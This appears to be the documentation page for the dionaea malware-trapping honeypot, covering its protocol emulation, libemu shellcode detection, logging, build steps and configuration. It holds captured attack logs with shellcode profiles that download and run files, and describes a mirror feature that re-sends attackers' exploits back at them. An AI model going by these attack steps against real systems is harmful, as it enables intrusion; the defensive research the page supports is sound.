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      catches bugs

Dionaea is meant to be a nepenthes successor, embedding python as
scripting language, using libemu to detect shellcodes, supporting ipv6
and tls

  * Development <#development>
  * Compiling & Installation <#compiling>
  * Update <#update>
  * Running <#running>
  * Configuration <#configuration>
  * Honors <#honorem>
  * Links <#links>
  * FAQ <#FAQ>
  * Segfault <#segfault>
  * Support <#support>
  * Blog <>


    How it works

dionaea intention is to trap malware exploiting vulnerabilities exposed
by services offerd to a network, the ultimate goal is gaining a copy of
the malware.


As Software is likely to have bugs, bugs in software offering network
services can be exploitable, and dionaea is software offering network
services, it is likely dionaea has exploitable bugs.
Of course we try to avoid it, but if nobody would fail when trying hard,
we would not need software such as dionaea.
So, in order to minimize the impact, dionaea can drop privileges, and
To be able to run certain actions which require privileges, after
dionaea dropped them, dionaea creates a child process at startup, and
asks the child process to run actions which require elevated privileges.
This does not guarantee anything, but it should be harder to get gain
root access to the system from an unprivileged user in a chroot

      Network Connectivity

Given the softwares intented use, network io is crucial. All network io
is within the main process in a so called non-blocking manner. To
understand nonblocking, imagine you have many pipes infront of you, and
these pipes can send you something, and you can put something into the
pipe. If you want to put something into a pipe, while it is crowded,
you'd have to wait, if you want to get something from a pipe, and there
is nothing, you'd have to wait too. Doing this pipe game non-blocking
means you won't wait for the pipes to be write/readable, you'll get
something off the pipes once data arrives, and write once the pipe is
not crowded. If you want to write a large chunk to the pipe, and the
pipe is crowded after a small piece, you note the rest of the chunk you
wanted to write, and wait for the pipe to get ready.
DNS resolves are done using libudns, which is a neat non-blocking dns
resolving library with support for AAAA records and chained cnames.
So much about non-blocking.
dionaea uses libev to get notified once it can act on a socket, read or
dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and
can apply rate limiting and accounting limits per connections to tcp and
tls connections - if required.


Network services speak a certain language, this language is called protocol.
When we started deploying honeypots, you could trap worms just by
opening a single port, and wait for them to connect and send you an url
where you could download a copy of the worm. The service getting
attacked was the backdoor of the bagle mailworm, and it did not require
and interaction.
Later on, the exploitations of real services got more complex, and you
had to reply something to the worm to fool him.
Nowadays worms use API to access services, before sending their payload.
To allow easy adjustments to the procotol, dionaea implements the
protocols in python. There is a glue between the network layer which is
done in the c programming language and the embedded python scripting
language, which allows using the non-blocking connections in python.
This has some benefits, for example we can use non-blocking tls
connections in python, and we even get rate limiting on them (if
required), where pythons own io does not offer such things. On the other
hand, it is much more comfortable to implement protocols in python than
doing the same in c.


The main protocol offerd by dionaea is SMB. SMB has a decent history of
remote exploitable bugs, and is a very popular target for worms.
dionaeas SMB implementation makes use of an python3 adapted version of
scapy. As scapys own version of SMB was pretty limited, almost
everything but the Field declarations had to be rewritten. The SMB
emulation written for dionaea is used by the mwcollectd
<> low interaction honeypot too.
Besides the known attacks on SMB dionaea supports uploading files to smb
Adding new DCE remote procedure calls is a good start to get into
dionaea code, you can use:

        JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.dcerpcservice_uuid) 
        LEFT OUTER JOIN dcerpcserviceops ON(dcerpcserviceops.dcerpcserviceop_opnum = dcerpcrequest_opnum AND dcerpcservices.dcerpcservice = dcerpcserviceops.dcerpcservice )  
        dcerpcserviceop_name IS NULL
GROUP BY        
        COUNT(*) DESC;

to identify potential usefull targets of unknown dcerpc calls using the
data you gathered and stored in your logsql database. Patches are


Dionaea supports http on port 80 as well as https, but there is no code
making use of the data gathered on these ports.
For https, the self-signed ssl certificate is created at startup.


Dionaea provives a basic ftp server on port 21, it can create
directories and upload and download files. From my own experience there
are very little automated attacks on ftp services and I'm yet to see
something interesting happening on port 21.


Written to test the udp connection code, dionaea provides a tftp server
on port 69, which can serve files. Even though there were
vulnerabilities in tftp services, I'm yet to see an automated attack on
tftp services.


This module implements the Tabular Data Stream protocol which is used by
Microsoft SQL Server. It listens to tcp/1433 and allows clients to
login. It can decode queries run on the database, but as there is no
database, dionaea can't reply, and there is no further action. Typically
we always get the same query:

exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and and set textsize 2147483647 set arithabort on

Refer to the blog
<> for more
Patches would be appreciated.


This module implements the MySQL wire stream protocol - backed up by
sqlite as database. Please refer to 2011-05-15 Extending Dionaea
<> for more information.

        SIP (VoIP)

This is a VoIP module for the honeypot dionaea. The VoIP protocol used
is SIP since it is the de facto standard for VoIP today. In contrast to
some other VoIP honeypots, this module doesn't connect to an external
VoIP registrar/server. It simply waits for incoming SIP messages (e.g.
OPTIONS or even INVITE), logs all data as honeypot incidents and/or
binary data dumps (RTP traffic), and reacts accordingly, for instance by
creating a SIP session including an RTP audio channel. As sophisticated
exploits within the SIP payload are not very common yet, the honeypot
module doesn't pass any code to dionaea's code emulation engine. This
will be implemented if we spot such malicious messages. The main
features of the VoIP module are:

  * Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
  * Support for multiple SIP sessions and RTP audio streams
  * Record all RTP data (optional)
  * Set custom SIP username and secret (password)
  * Set custom useragent to mimic different phone models
  * Uses dionaea's incident system to log to SQL database


A personality defines how to handle a request. At least the 'default'
personality MUST exist. The following options are available per

    A list of IP addresses to use this personality for. 
    List of SIP methods to handle. 

          SIP Users

You can easily add, change or remove users by editing the SQLite file
specified by the 'users = ""' parameter in the config file. All users
are specified in the users table.

    Specifies the name of the user. This value is treated as regular
    expression. See Python: Regular Expressions
    <> for more information. 
    The password. 
    The user is only available in the personality specified by this
    value. You can define a personality in the config file. 
    This is an integer value. Let the phone ring for at least this
    number of seconds. 
    This is an integer value. Maximum number of seconds to wait before
    dionaea picks up the phone. 
    This value isn't in use, yet. 
    The name of the SDP to use. See table 'sdp'. 


All SDPs can be defined in the sdp table in the users database.

    Name of the SDP
    The value to use as SDP

The following values are available in the SDP definition.

    Address type. (IP4 or IP6) 
    RTP address 
    Dionaea audio port. 
    Dionaea video port. 

The following control parameters are available in the SDP definition.

    The content is only available in the output if the audio_port value
    is set. 
    The content is only available in the output if the video_port value
    is set. 


o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000


Attackers do not seek your service, attackers want to exploit you,
they'll chat with the service for some packets, and afterwards sent a
payload. dionaea has to detect and evaluate the payload to be able to
gain a copy of the malware. In order to do so, dionaea uses libemu.
Given certain circumstances, libemu can detect shellcode, measure the
shellcode, and if required even execute the shellcode. Shellcode
detection is done by making use of GetPC heuristics, others wrote papers
about it, we decided to write libemu to do so. This detection is rather
time consuming, and therefore done using threads.
The part of dionaea which takes care of the network io can create a copy
of all in/output run for a connection, this copy is passed to the
detection facility, which is a tree of detection facilities, at this
moment there is only a single leaf, the emu plugin. The emu plugin uses
threads and libemu to detect and profile/measure shellcode.
Shellcode measurement/profiling is done by running the shellcode in the
libemu vm and recording API calls and arguments. For most shellcode
profiling is sufficient, the recorded API calls and arguments reveal
enough information to get an idea of the attackers intention and act
upon them. For multi-stage shellcode, where the first exploitation stage
of the shellcode would retrieve a second shellcode from the attacker,
profiling is not sufficient, as we lack the information 'what to do'
from the second stage of the shellcode, in this case we need to make use
of shellcode execution. Shellcode execution is basically the same as
shellcode profiling, the only difference is not recording the api calls,
and we allow the shellcode to take certain actions, for example creating
a network connection.


Once we have the payload, and the profile, dionaea has to guess the
intention, and act upon it

          Shells - bind/connectback

This payload offers a shell (cmd.exe prompt) to the attacker, either by
binding a port and waiting for the attacker to connect to us again, or
by connection to the attacker. In both cases, dionaea offers an cmd.exe
emulation to the attacker, parses the input, and acts upon the input,
usually the instructions download a file via ftp or tftp.


These shellcodes use the URLDownloadToFile api call to retrieve a file
via http, and execute the retrieved file afterwards


Making use of WinExec, these shellcode execute a single command which
has to be parsed and processed like the bind/connectback shell

          Multi Stage Payloads

We never know what the second stage is, therefore libemu is used to
execute the shellcode in the libemu vm.


Once dionaea gained the location of the file the attacker wants it to
downloads from the shellcode, dionaea will try to download the file. The
protocol to downloads files via tftp and ftp is implemented in python
( and as part of dionaea, downloading files via http is
done in the curl module - which makes use of libcurl's awsome http
capabilities. Of course libcurl can run downloads for ftp too, but the
ftp services embedded in malware a designed to work with windows ftp.exe
client, and fail for others.


Once dionaea got a copy of the worm attacking her, we may want to store
the file locally for further analysis, or submit the file to some 3rd
party for further analysis.
dionaea can http/POST the file to several services like CWSandbox,
Norman Sandbox or VirusTotal.


Getting a copy of the malware is cool, getting an overview of the
attacks run on your sensor is priceless.
dionaea can write information to a text file, but be aware, dionaeas
logging to text files is rather chatty, really chatty, and you do not
want to look at the information, if you are not debugging the software
or writing some new feature for it.
Of course, you can appy filters to the logging, to limit it to different
facilities or levels, but in general you do not want to work with text
dionaea uses some internal communication system which is called
incidents. An incident has an origin, which is a string, a path, and
properties, which can be integers, strings, or a pointer to a
connection. Incidents limit to the max, they pass the information
required to incident handlers (ihandler). An ihandler can register a
path for incidents he wants to get informed about, the pathes are
matched in a glob like fashion. Therefore logging information using an
ihandler is superior to text logging, you get the information you are
looking for, and can write it to a format you choose yourself. This is
what the logsql python script does, it is an ihandler, and writes
interesting incidents to a sqlite database, one of the benefits of this
logging is the ability to cluster incidents based on the initial attack
when retrieving the data from the database:

connection 610 smbd tcp accept <-
 dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
 p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
 profile: [{'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call': 'GetProcAddress'}, 
            ...., {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
 service: bindshell://1957
 connection 611 remoteshell tcp listen
   connection 612 remoteshell tcp accept <-
     p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
     offer: fxp://1:1@
     download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@
     connection 613 ftpctrl tcp connect ->
       connection 614 ftpdata tcp listen
         connection 615 ftpdata tcp accept <-
           p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'

Additionally, you can query the database for many different things,
refer to:

  * dionaea sql logging 2009/11/06
  * post it yourself 2009/12/08
  * sqlite performance 2009/12/12
  * virustotal fun 2009/12/14
  * Andrew Waite's Blog <> for

for more examples how to make use of the database.

Additional to local logging, dionaea can send a contionous stream of its
attacks to a xmpp server, which allows creating a distributed setup of
sensors with high detail of information for each attack.
Refer to logxmpp <#logxmpp> and pg_backend <#pg_backend> for more
information about distributed setups using xmpp.


dionaea initial development was funded by the Honeynet Project
<> as part of the Honeynets Summer of Code during
2009. The development process is as open as possible; you can browse
<> the source online and subscribe to RSS
updates <> and submit bugs or
patches <>.

    Compiling & Installation


  * libev <#install_libev> >=4.04,
  * libglib <#install_glib> >=2.20
  * libssl <#install_openssl>, <>
  * liblcfg <#install_liblcfg>,
  * libemu <#install_libemu>,
  * python <#install_python> >=3.2, <>
      o sqlite <#install_sqlite> >=3.3.6 <>
      o readline <#install_readline> >=3
  * cython <#install_cython> >0.14.1, <>
  * libudns <#install_udns>, <>
  * libcurl <#install_curl> >=7.18, <>
  * libpcap <#install_pcap> >=1.1.1, <>
  * libnl <#install_nl> from git,
    <> (optional)
  * libgc >=6.8, <> (optional)


Some packages are provided by the apt-tree, so you don't have to install
everything from source

aptitude install libudns-dev libglib2.0-dev libssl-dev libcurl4-openssl-dev \
libreadline-dev libsqlite3-dev python-dev \
libtool automake autoconf build-essential \
subversion git-core \
flex bison \

      tar xfz ...

The remaining dependencies have to be installed from source, we will
install all dependencies to /opt/dionaea here, so make sure the
directory exists, and you are allowed to write it.

        libglib (debian <= etch)

If your lack a recent glib, better update your operating system.

        liblcfg (all)

git clone git:// liblcfg
cd liblcfg/code
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..
cd ..

        libemu (all)

git clone git:// libemu
cd libemu
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..

        libnl (linux && optional)

In case you use Ubuntu, libnl3 may be available in apt,

apt-get install libnl-3-dev libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev

else install it from git.

git clone git://
cd libnl
autoreconf -vi
export LDFLAGS=-Wl,-rpath,/opt/dionaea/lib
./configure --prefix=/opt/dionaea
make install
cd ..

        libev (all)

tar xfz libev-4.04.tar.gz
cd libev-4.04
./configure --prefix=/opt/dionaea
make install
cd ..

        Python 3.2

Before installing Python, we will install required dependencies


Should be available for every distribution.

          sqlite > 3.3

Should be available for every distribution. If your distributions sqlite
version is < 3.3 and does not support triggers, you are doomed, please
let me know, I'll write about how broken pythons build scripts are, and
document how to to compile it with a user- provided - more recent -
sqlite version.


tar xfz Python-3.2.2.tgz
cd Python-3.2.2/
./configure --enable-shared --prefix=/opt/dionaea --with-computed-gotos \
      --enable-ipv6 LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/ -L/usr/lib/x86_64-linux-gnu/"

make install

        Cython (all)

We have to use cython >= 0.15 as previous releases do not support
Python3.2 __hash__'s Py_Hash_type for x86.

tar xfz Cython-0.15.tar.gz
cd Cython-0.15
/opt/dionaea/bin/python3 install
cd ..

        udns (!ubuntu)

udns does not use autotools to build.

tar xfz udns_0.0.9.tar.gz
cd udns-0.0.9/
make shared

There is no make install, so we copy the header to our include directory.

 cp udns.h /opt/dionaea/include/

and the lib to our library directory.

 cp *.so* /opt/dionaea/lib/
cd /opt/dionaea/lib
ln -s
cd -
cd ..

        libcurl (all)

Grabbing curl from your distributions maintainer should work, if you run
a decent distribution. If not consider upgrading your operating system.

        libpcap (most)

To honor the effort, we rely on libpcap 1.1.1. Most distros ship older
versions, therefore it is likely you have to install it from source.

tar xfz libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure --prefix=/opt/dionaea
make install
cd ..

        OpenSSL (optional)

*WARNING:* doing this, requires *all* dependencies to be compiled using
the same ssl version, so you have to link curl and python to your own
openssl build too
If you experience problems with tls connections, install your OpenSSL >=
0.9.8l/1.0.0-beta2, or fall back to cvs for now.

cvs -d co openssl
cd openssl
./Configure shared --prefix=/opt/dionaea linux-x86_64
make SHARED_LDFLAGS=-Wl,-rpath,/opt/dionaea/lib   
make install

      Compiling dionaea

git clone git:// dionaea

then ..

cd dionaea
autoreconf -vi
./configure --with-lcfg-include=/opt/dionaea/include/ \
      --with-lcfg-lib=/opt/dionaea/lib/ \
      --with-python=/opt/dionaea/bin/python3.2 \
      --with-cython-dir=/opt/dionaea/bin \
      --with-udns-include=/opt/dionaea/include/ \
      --with-udns-lib=/opt/dionaea/lib/ \
      --with-emu-include=/opt/dionaea/include/ \
      --with-emu-lib=/opt/dionaea/lib/ \
      --with-gc-include=/usr/include/gc \
      --with-ev-include=/opt/dionaea/include \
      --with-ev-lib=/opt/dionaea/lib \
      --with-nl-include=/opt/dionaea/include \
      --with-nl-lib=/opt/dionaea/lib/ \
      --with-curl-config=/usr/bin/ \
      --with-pcap-include=/opt/dionaea/include \
make install

    Update dionaea

Most updates boil down to a

git pull;
make clean install

But, you always want to make sure your config file is up to date, you
can use

/opt/dionaea/etc/dionaea# diff dionaea.conf dionaea.conf.dist


The packages below are 3rd party provided, which is appreciated. If you
have compiled a package for your own distribution, just send me the link.

  * Ubuntu Lucid <> - weekly git snapshots
  * Debian <> - not really
    packages, just a guide how to create packages
  * Arch Linux <> - build
    scripts, compile from source, uses git
  * Slackware <> - build
    scripts, compile from source, uses git

    Running dionaea

The software has some flags you can provide at startup, the -h flags
shows the help, the -H includes the default values.

  -c, --config=FILE               use FILE as configuration file
                                    Default value/behaviour: /opt/dionaea/etc/dionaea.conf
  -D, --daemonize                 run as daemon
  -g, --group=GROUP               switch to GROUP after startup (use with -u)
                                    Default value/behaviour: keep current group
  -G, --garbage=[collect|debug]   garbage collect,  usefull to debug memory leaks, 
                                  does NOT work with valgrind
  -h, --help                      display help
  -H, --large-help                display help with default values
  -l, --log-levels=WHAT           which levels to log, valid values 
                                  all, debug, info, message, warning, critical, error
                                  combine using ',', exclude with - prefix
  -L, --log-domains=WHAT          which domains use * and ? wildcards, combine using ',', 
                                  exclude using -
  -u, --user=USER                 switch to USER after startup
                                    Default value/behaviour: keep current user
  -p, --pid-file=FILE             write pid to file
  -r, --chroot=DIR                chroot to DIR after startup
                                    Default value/behaviour: don't chroot
  -V, --version                   show version
  -w, --workingdir=DIR            set the process' working dir to DIR
                                    Default value/behaviour: /opt/dionaea

# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -r /opt/dionaea/ -w /opt/dionaea -p /opt/dionaea/var/

    Configuration - dionaea.conf

If you want to change the software, it is really important to understand
how it works, therefore please take the time to how it works.
dionaea.conf is the main configuration file, the file controls consists
of sections for:

  * logging
  * processors
  * downloads
  * bistreams
  * submit
  * listen
  * modules


The logging section controls ... logging, you can specify log domains
and loglevel for different logfiles.
As dionaea is pretty ... verbose, it is useful to rotate the logfiles
using logrotate.

# logrotate requires dionaea to be started with a pidfile
# in this case -p /opt/dionaea/var/run/
# adjust the path to your needs
/opt/dionaea/var/log/dionaea*.log {
        rotate 28
        create 660 root root
                kill -HUP `cat /opt/dionaea/var/run/`

processors control the actions done on the bi-directional streams we
gain when getting attacked, the default is running the emu processor on
them to detect shellcode.
downloads specify where to store downloaded malware.
bistreams specify where to store bi-directional streams, these are
pretty useful when debugging, as they allow to replay an attack on
ip-level, without messing with pcap&tcpreplay, which never worked for me.
submit specifies where to send files to via http or ftp, you can define
a new section within submit if you want to add your own service.
listen sets the addresses dionaea will listen to. The default is *all*
addresses it can find, this mode is call getifaddrs, but you can set it
to manual and specify a single address if you want to limit it.
modules is the most powerfull section, as it specifies the modules to
load, and the options for each module.
The subsections name is the name of the module dionaea will try to load,
most modules got rather simplistic names, the pcap module will use
libpcap, the curl module libcurl, the emu module libemu ...
The python module is special, as the python module can load python
scripts, which offer services, and each services can have its own options.



The pcap module uses the libpcap library to detect rejected connection
attempts, so even if we do not accept a connection, we can use the
information somebody wanted to connect there.


The curl module is used to transfer files from and to servers, it is
used to download files via http as well as submitting files to 3rd parties


The emu module is used to detect, profile and - if required - execute


The python module allows using the python interpreter in dionaea, and
allows controlling some scripts dionaea uses

          logsql <#logsql>

This section controls the logging to the sqlite database.
logsql does not work when chrooting - python makes the path absolute and
fails for requests after chroot().

logsql requires the directory where the logsql.sqlite file resides to be
writeable by the user, as well as the logsql.sqlite file itself.
So, if you drop user privs, make sure the user you drop to is allowed to
read/write the file and the directory.

chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R

To query the logsql database, I recommend looking at the <#readlogsqltree> script, for visualisation the
gnuplotsql <#gnuplotsql> script.

The blog on logsql:

  * 2009-11-06 dionaea sql logging
  * 2009-12-08 post it yourself
  * 2009-12-12 sqlite performance
  * 2009-12-14 virustotal fun
  * 2009-12-15 paris mission pack avs
  * 2010-06-06 data visualisation

          logxmpp <#logxmpp>

This section controls the logging to xmpp services. If you want to use
logxmpp, make sure to enable logxmpp in the ihandler section.
Using logxmpp allows you to share your new collected files with other
sensors anonymously.

The blog on logxmpp:

  * 2010-02-10 xmpp backend <>
  * 2010-05-12 xmpp take #2 <>
  * 2010-05-15 xmpp take #3 <>

pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.


Not enabled by default, but recommend: the p0f service, enable by
uncommenting p0f in the ihandlers section of the python modules section,
and start p0f as suggested in the config. It costs nothing, and gives
some pretty cool, even if outdated, informations about the attackers
operating system, and you can look them up from the sqlite database,
even the rejected connections.
If you face problems, here
<> are some hints.

          nfq <#nfq_python>

The python nfq script is the counterpart to the nfq module. While the
nfq module interacts with the kernel, the nfq python script takes care
of the required steps to start a new service on the ports.
nfq can intercept incoming tcp connections during the tcp handshake
giving your honeypot the possibility to provide service on ports which
are not served by default.

As dionaea can not predict which protocol will be spoken on unknown
ports, neither implement the protocol by itself, it will connect the
attacking host on the same port, and use the attackers server side
protocol implementation to reply to the client requests of the attacker
therefore dionaea can end up re?exploiting the attackers machine, just
by sending him the exploit he sent us.

The technique is a brainchild of Tillmann Werner, who used it within his
honeytrap <> honeypot.
Legal boundaries to such behaviour may be different in each country, as
well as ethical boundaries for each individual. From a technical point
of view it works, and gives good results.
Learning from the best, I decided to adopt this technique for dionaea.
Besides the legal and ethical issues with this approach, there are some
technical things which have to be mentioned

  * */port scanning/*
    If your honeypot gets port scanned, it would open a service for each
    port scanned, in worst case you'd end up with offering 64k services
    per ip scanned. By default you'd run out of fds at about 870
    services offerd, and experience weird behaviour. Therefore the
    impact of port scanning has to be limited.
    The kiss approach taken here is a sliding window of
    *throttle.window* seconds size. Each slot in this sliding window
    represents a second, and we increment this slot for each connection
    we accept.
    Before we accept a connection, we check if the sum of all slots is
    below **, else we do not create a new service.
    If the sum is below the limit, we check if the current slot is below
    the slot limit too, if both are given, we create a new service.
    If one of the condition fails, we do not spawn a new service, and
    let nfqeueu process the packet. There are two ways to process
    packets which got throttled:
      o *NF_ACCEPT* (=1), which will let the packet pass the kernel, and
        as there is no service listening, the packet gets rejected.
      o *NF_DROP* (=0), which will drop the packet in the kernel, the
        remote does not get any answer to his SYN.

    I prefer NF_DROP, as port scanners such as nmap tend to limit their
    scanning speed, once they notice packets get lost.

  * */recursive-self-connecting/*
    Assume some shellcode or download instructions makes dionaea to
      o connect itself on a unbound port
      o nfq intercepts the attempt
      o spawns a service
      o accepts the connection #1
      o creates mirror connection for connection #1
        by connecting the remotehost (itself) on the same port #2
      o accepts connection #2 as connection #3
      o creates mirror connection for connection #3
        by connecting the remotehost (itself) on the same port #4
      o ....
      o ....
    Such recursive loop, has to be avoided for obvious reasons.
    Therefore dionaea checks if the remote host connecting a nfq mirror
    is a local address using 'getifaddrs' and drops local connections.

So much about the known problems and workarounds ...
If you read that far, you want to use it despite the
technical/legal/ethical problems.
So ... You'll need iptables, and you'll have to tell iptables to enqueue
packets which would establish a new connection.
I recommend something like this:

iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE --queue-num 5


 1. ACCEPT all connections to existing services
 2. enqueue all other packets to the NFQUEUE

If you have dionaea running on your NAT router, I recommend something like:

iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE


 1. ACCEPT all connections to existing services in mangle::PREROUTING
 2. MARK all other packets
 3. if we see these marked packets on INPUT, queue them

Using something like:

iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5

will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you
will not even be able to connect to your ssh daemon.

Even if you add an exemption for ssh like:

iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -j NFQUEUE

dionaea will try to create a new service for /every/ incoming
connection, even if there is a service running already.
As it is easy to avoid this, I recommend sticking with the recommendation.
Besides the already mention throttle settings, there are various
timeouts for the nfq mirror service in the config.
You can control how long the service will wait for new connections
(/timeouts.server.listen/), and how long the mirror connection will be
idle (/timeouts.client.idle/) and sustain (/timeouts.client.sustain/).


ihandlers section is used to specify which ihandlers get started by . You do not want to miss p0f and logsql.


services controls which services will get started by


Dionaea ships with some utils, as these utils are written in python and
rely on the python3 interpreter dionaea requires to operate, this
software can be found in modules/python/utils.

          readlogsqltree <#readlogsqltree> -

readlogsqltree is a python3 script which queries the logsql sqlite
database for attacks, and prints out all related information for every
This is an example for an attack, you get the vulnerability exploited,
the time, the attacker, information about the shellcode, the file
offered for download, and even the virustotal report for the file.

2010-10-07 20:37:27
  connection 483256 smbd tcp accept <- (483256 None)
   dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
   profile: [{'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['', '', '60.exe', '0', '0'], 'call': 'URLDownloadToFile'}, {'return': '32', 'args': ['60.exe', '895'], 'call': 'WinExec'}, {'return': '0', 'args': ['-1'], 'call': 'Sleep'}]
   download: 3eab379ddac7d80d3e38399fd273ddd4
     virustotal 2010-10-07 04:59:07 5/38 (13%)
       names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Trojan.DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B' 

To create such report for your own honeypots activities for the last 24
hours run:

./  -t $(date '+%s')-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite

          gnuplotsql <#gnuplotsql> - modules/python/

gnuplotsql is a very slow python3 script which runs some queries on the
logsql <#logsql> sqlite database and creates graphs with gnuplot of the
data, stores them on disk and creates an index of the data. The images
are per protocol and look like this: Overview for dionaea smbd.
Here <gnuplotsql> is how the whole thing looks like.
To create such images of your own data, run:

./ -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd

The blog got something on gnuplotsql as well:

  * 2010-12-05 sudden death <>
  * 2010-10-01 Infosanity's Blog:
  * 2010-09-19 gnuplotsql <>

          pg_backend <#pg_backend> - modules/python/xmpp/

pg_backend is the backend for logxmpp <#logxmpp>, currently it is a
python2.x script which uses pyxmpp to access the xmpp service. It parses
the messages received and can store the events in a postgres database
and the received files on disk. pg_backend requires an xmpp account.
/without db/

./ -U -P XMPPPASS -M -C anon-files -C anon-events -f /tmp/

/with db/ create database

psql ...

start backend

./ -U -P XMPPPASS -M -C anon-files -C anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/

    FAQ <#FAQ>

I get gcc: command not found?
    install gcc..
How to uninstall it?
    rm -rf /opt/dionaea
I get binding.pyx:...: undeclared name not builtin: bytes during the
python modules build
    Install a recent cython version
I get Python.h not found during compiling cython
    Install appropriate headers for your python interpreter
I get OperationalError at unable to open database file when using
logsqlite and it does not work at all
    Read the logsql instructions <#logsql>
I get a Segmentation Fault
    Read the segfault instructions <#segfault>
I logrotate, and after logrotate dionaea does not log anymore.
    Read the logrotate instructions <#logging>
I do not use ubuntu/debian and the instructions are useless for me
    I use debian/ubuntu, and therefore I can only provide instructions
    for debian/ubuntu, but you are free to send me a diff for your
    operating system
p0f does not work.
    Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f
    can't deal with IPv6.
I'm facing a bug, it fails, and I can't figure out why .
    Explain the problem, if I'm interested in the nature of the problem,
    as it does not sound like pebcak, I may ask for a shell/screen and
    have a look myself, and if it is worth it, you'll even get a FAQ
    entry for some specialties of your OS.
I use Redhat/Centos 5 and the installation is frustrating and a mess as
nothing works.
    Thats right, but I did not choose your operating system.
    Here is a list of outdated or missing packages for your choosen
    distribution: *all*. Yes, you'll even have to install glib (you'll
    have 2.10 where 2.20 is required) from source.
    Getting python3 compiled with a recent sqlite3 version installed to
    /opt/dionaea requires editing the file (patch
    /I experienced this wonderful operating system myself ... You really
    have to love your distro to stick with it, even if it ships software
    versions your grandma saw released in her youth.
    *Centos is the best distro ... to change distros*.
    No matter what you choose, it can't get worse./

    Tips and Tricks

